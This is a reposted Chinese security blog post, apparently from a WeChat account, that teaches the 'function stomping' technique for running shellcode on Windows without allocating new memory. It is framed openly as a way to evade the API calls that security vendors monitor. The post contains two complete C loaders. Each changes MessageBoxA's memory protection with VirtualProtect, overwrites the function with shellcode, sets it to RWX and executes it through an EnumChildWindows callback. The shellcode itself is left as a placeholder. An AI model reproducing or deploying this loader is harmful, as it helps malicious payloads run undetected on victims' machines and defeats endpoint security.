不需要申请内存就能执行shellcode?

admin 2023年12月28日08:18:36评论50 views字数 2766阅读9分13秒阅读模式

stomping注入

简介

除了上一篇发的那个映射注入之外,这次我们来看一下stomping注入,同样它也不会去使用相关安全厂商检测很重要的API,例如VirutalAlloc/Ex 等等。

功能覆盖

功能覆盖是指替换程序中函数或其他数据结构的内存的行为。函数覆盖是一种将原始函数的字节替换成新代码的技术,导致函数被替换或不再按照之前的功能进行工作,相反该函数会执行不同的逻辑,所以会消耗掉一个函数的地址。

选择合适的目标函数

在查找本地函数的地址的时候,我们需要知道检索那个函数才不会导致我们的shellcode不受控制,或进程可能崩溃,所以从ntdll.dll,kernel32.dll,kernelbase.dll中导出的函数我们如果进行覆盖的话是由风险的,所以我们应该覆盖一些不常用的函数,比如MessageBoxA等等。

当目标函数的字节被shellcode替换时,该函数将无法使用,除非它们有专门用于有效载荷执行。例如如果目标是MessageBoxA,那么二进制文件应当仅调用MessageBoxA函数一次。

利用过程

目标函数是MessageBoxA函数,这个函数是从user32.dll中导出的,所以我们首先需要从user32.dll中将函数导出这里可以使用GetProcAddress和LoadLibraryA函数来进行导出,下一步就是停止该函数并将其替换为shellcode,使用VirtualProtect将其内存区域标记为可读可写,确保我们是可以进行覆盖的,接下来将shellcode写入到函数的地址,最后再使用VirtualProtect将该内存区域更改为可执行的内存。

如下代码:

#include <iostream>#include <Windows.h>
#define FunctionName "MessageBoxA"BOOL WirtePayload(PVOID Address,PBYTE shellcode,SIZE_T shellcodeSize) { DWORD dOld = NULL; if (!VirtualProtect(Address, shellcodeSize, PAGE_READWRITE, &dOld)) { printf("更改失败"); return FALSE; }; memcpy(Address, shellcode, shellcodeSize); if (!VirtualProtect(Address,shellcodeSize,PAGE_EXECUTE_READWRITE,&dOld)) { printf("更改失败"); return FALSE; } return TRUE;
}unsigned char shellcode[] = { shellcode};int main(){ PVOID pAddress = NULL; HMODULE hmodule = NULL;  hmodule = LoadLibraryA("user32.dll"); if (hmodule == NULL) { printf("获取模块失败"); return -1; } //获取函数地址 pAddress = GetProcAddress(hmodule, FunctionName); if (pAddress == NULL) { printf("获取函数失败!!!!"); return -1; } if (!WirtePayload(pAddress, shellcode, sizeof(shellcode))) { printf("写入shellcode失败"); return -1; }; EnumChildWindows(NULL, (WNDENUMPROC)pAddress, NULL);}

可以看到我们根本没有使用到申请内存的函数。

我们来跟一下代码:

如下是函数地址:

不需要申请内存就能执行shellcode?

首先将这块内存区域更改为PAGE_READWRITE权限,更改完成之后使用shellcode将这块内存区域进行覆盖。

不需要申请内存就能执行shellcode?

覆盖之后再将内存区域更改为RWX。

最后使用回调函数执行。

不需要申请内存就能执行shellcode?

将DLL插入二进制文件

将DLL插入到二进制文件中就不需要使用LoadLibrary来加载DLL,不需要使用GetProAddress函数来获取目标函数的地址了。

#pragma comment(lib,"user32.lib")#define FunctionName "MessageBoxA"

加入之后完整代码:

#include <iostream>#include <Windows.h>#pragma comment(lib,"user32.lib")#define FunctionName "MessageBoxA"BOOL WirtePayload(PVOID Address,PBYTE shellcode,SIZE_T shellcodeSize) {  DWORD dOld = NULL;  if (!VirtualProtect(Address, shellcodeSize, PAGE_READWRITE, &dOld)) {    printf("更改失败");    return FALSE;  };

printf("Address : 0x%p n", Address); getchar();
memcpy(Address, shellcode, shellcodeSize);

printf("Address : 0x%p n", Address); getchar();
if (!VirtualProtect(Address,shellcodeSize,PAGE_EXECUTE_READWRITE,&dOld)) { printf("更改失败"); return FALSE; } return TRUE;
}unsigned char shellcode[] = { shellcode};int main(){ PVOID pAddress = NULL; HMODULE hmodule = NULL; hmodule = LoadLibraryA("user32.dll"); if (hmodule == NULL) { printf("获取模块失败"); return -1; } //获取函数地址 /*pAddress = GetProcAddress(hmodule, FunctionName); if (pAddress == NULL) { printf("获取函数失败!!!!"); return -1; }*/ if (!WirtePayload(&MessageBoxA, shellcode, sizeof(shellcode))) { printf("写入shellcode失败"); return -1; }; EnumChildWindows(NULL, (WNDENUMPROC)MessageBoxA, NULL);}

看完了记得点一下关注噢

原文始发于微信公众号(Relay学安全):不需要申请内存就能执行shellcode?

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月28日08:18:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   不需要申请内存就能执行shellcode?http://cn-sec.com/archives/2341814.html

发表评论

匿名网友 填写信息